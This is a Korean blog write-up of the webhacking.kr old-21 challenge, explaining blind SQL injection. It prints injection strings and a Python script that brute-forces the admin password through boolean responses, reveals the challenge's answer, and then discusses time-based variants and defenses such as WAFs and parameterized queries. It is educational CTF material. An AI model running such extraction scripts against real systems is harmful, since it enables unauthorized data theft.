Blind SQL Injection이란?
Blind SQL Injection이란, 오류메세지가 보이지 않는 사이트에서 SQL쿼리의 참/거짓 동작만으로 DB구조를 파악하는 공격 기법이다. SQL Injection은 오류메세지에 포함된 DB 정보를 보면서 파악하는 공격 기법이었다면, Blind Injection에서는 오류메세지가 출력이 되지 않은 상태에서 조건이 참일 경우 페이지가 정상적으로 출력되고, 조건이 거짓일 경우엔 페이지가 정상적으로 출력되지 않는 것으로 구분을 할 수 있다. 즉, 쿼리에 대한 결과가 참일 때와 거짓일 때의 서버의 반응이 필수 전제이다.
webhacking.kr 접속
Webhacking.kr
Index Welcome Stranger! Chatting Notice(en) [2021-04-16] Score of old challenges has been adjusted to 1/10. For a while now, new challenges will be added "without" notice. [2020-08-12] Replace chat feature with Discord. Please do not cause inconvenience to
webhacking.kr
old challenges 21번
Blind SQL Injection을 사용해 admin계정으로 로그인하는 것을 요구한다.
풀이과정)
guest / guest 로 로그인을 해보았더니 login success라는 문구가 뜬다.
이때, 주소창을 보면 아이디와 비밀번호가 id와 pw로 넘겨지는 것을 확인할 수 있다.
이 문제의 목표는 admin계정으로 로그인하는 것이므로, Blind SQL Injection을 통해 참/거짓일 때의 반응을 살펴볼 수 있다.
id 입력창에 무조건 참인 구문을 입력해본다. (admin’ or ‘1’=’1)
Wrong password라고 뜬다. id는 참이지만 pw는 틀렸다는 의미이다.
pw의 길이(length)부터 알아내보자.
admin' and length(pw)=[pw길이] or '1'='0 에서 [pw길이] 부분에 숫자를 차례대로 입력해 pw의 길이를 알아내는 방법이 있다.
만약 pw의 길이를 맞춘다면 Result에선 wrong password가, 틀린다면 login fail이 뜰 것이다.
참일 경우: wrong password
거짓일 경우: login fail
-> Blind SQL Injection
시험삼아 length(pw)를 5로 해보았더니 login fail이 뜬다. 거짓이라는 의미이다.
계속 해본 결과, pw의 길이는 36이다.
이제 pw를 알아내는 파이썬을 작성해보자.
import requests
url='https://webhacking.kr/challenge/bonus-1/index.php'
params={'pw': 'admin'}
# To find length of password
pw_len=1
while True:
params['id']="admin' and length(pw)={} #".format(pw_len)
response=requests.get(url, params=params)
if "wrong password" in response.text:
break
pw_len+=1
print("pw_len: "+str(pw_len))
# To find password
pw=""
for a in range(1, pw_len+1):
for b in range(1, 128):
params['id']="admin' and ascii(substr(pw, {}, 1))={} #".format(a, b)
response=requests.get(url, params=params)
if "wrong password" in response.text:
pw+=chr(b)
break
print("pw: "+pw)
정답
(참고로, 실행시키고 약 20분이 지나서야 pw가 출력되었다. 인내심을 갖고 기다려보자.)
pw_len와 pw을 출력하는 함수를 짜 실행시켜보니,
there_is_no_rest_for_the_white_angel 이 나왔다.


SQL Injection 현황
SQL Injection과 더불어 Blind SQL Injection 또한 웹에서 번번히 일어나는 해킹 기법이다. 2016년 펜타시큐리티에서 발표한 ‘웹 공격 동향 보고서’에 따르면, SQL 인젝션이 전체 해킹 시도 중 45%에 가까운 비중을 차지한 것으로 보인다.
Blind SQL Injection의 공격방법
Blind SQL 인젝션에는 두가지 공격 방법이 존재한다.
첫째는 Boolean-based Blind 공격으로, 참/거짓의 반환을 테스트해 그 결과로부터 정보유출을 가능케 하는 것이다. 대부분 AND 조건에 논리식을 대입하여 참/거짓 여부를 알아낼 수 있다. 이 boolean-based blind 공격은 이번 과제에서 쓰인 방법이다.
둘째로는 Time-based Blind 공격이 있다. 이는 응답결과만으로는 참/거짓을 구별할 수 없는 경우에, 시간을 지연시키는 쿼리를 주입하여 응답시간의 차이로 참/거짓 여부를 판별하는 것이다.
정리하자면, Blind SQL Injection 기법은 많은 조건에 대한 비교과정을 거쳐 의미있는 정보를 얻음으로서 사용되고, 때문에 거의 모든 경우 자동화 툴을 사용하여 공격이 진행된다.
SQL Injection의 대응 방안
SQL 인젝션의 대응 방안에는 대표적으로 3가지가 있다.
첫째로는 웹 방화벽(WAF)을 도입하는 것이다. 웹 방화벽은 HTTP/HTTPS 응용 계층의 패킷 내용을 기준으로 패킷의 보안성을 평가하고 룰(Rule)에 따라 제어할 수 있다. 웹 방화벽에는 물리적 웹 방화벽과 논리적 웹 방화벽(공개 웹 방화벽)이 존재한다. 물리적 웹 방화벽은 주로 기업의 규모가 어느정도 되거나 보안이 중시되는 환경, 또는 예산이 충분한 환경에서 어플라이언스 형태의 제품을 사용하거나 SECaaS 형태의 클라우드 기반의 솔류션을 도입해 활용한다. 논리적 웹 방화벽은 대부분 논리적인 구성으로 웹 방화벽 역할을 수행하는데, WebKnight, ModSecurity 등이 있다.
SQL 인젝션의 두번째 대응방안으로는 시큐어 코딩이 있는데, 입력값 유효성 검사, 동적 쿼리 사용 제한, 오류 메세지 출력 제한, DB 보안으로 나눌 수 있다.
입력값 유효성 검사에는 SQL 쿼리의 구조를 변경시키는 문자나 키워드를 제한하는 블랙 리스트 방식과, 허용된 문자를 제외하고는 모두 금지하는 방식의 화이트 리스트 방식이 있다.
동적 쿼리 사용 제한에는 아예 동적 쿼리 사용을 금지하는 방식과 매개변수화된(구조화된) 쿼리만 사용케하는 방식이 있다.
오류 메세지 출력을 제한할 때에는 DB오류 정보를 노출시키는 것을 제한시키는 것과 너무 자세한 안내 메세지 대신 추상화된 안내 메세지를 출력하는 것 등등이 있다.
DB를 보안할 때에는 DB계정을 분리하고, DB 계정의 권한을 제한하고, 기본/확장 저장 프로시저를 제거하는 방법이 유용하다.
SQL 인젝션의 대응방안 중 세번째 방안으로는, 지속적인 취약점 점검과 모니터링이 있다. 주기적으로 취약점 점검을 권장하고, 잦은 오류를 유발되거나 기능이 반복적으로 호출되는 형태가 발견된다면 즉각적으로 조치를 취하는 체계를 갖추는 것이 좋다.
'보안 & 해킹 실습' 카테고리의 다른 글
[Mac m1] 우분투 리눅스 설치 - 실패!^^ (0) | 2021.05.30 |
---|---|
VMware Workstation 12 Player_우분투 인터넷 연결 안 될 때 (0) | 2021.04.01 |
[환경구축] 우분투 설치하기, 해킹환경 구축하기 (0) | 2021.03.19 |
네트워크 보안 실습_피싱 사이트 (0) | 2021.03.09 |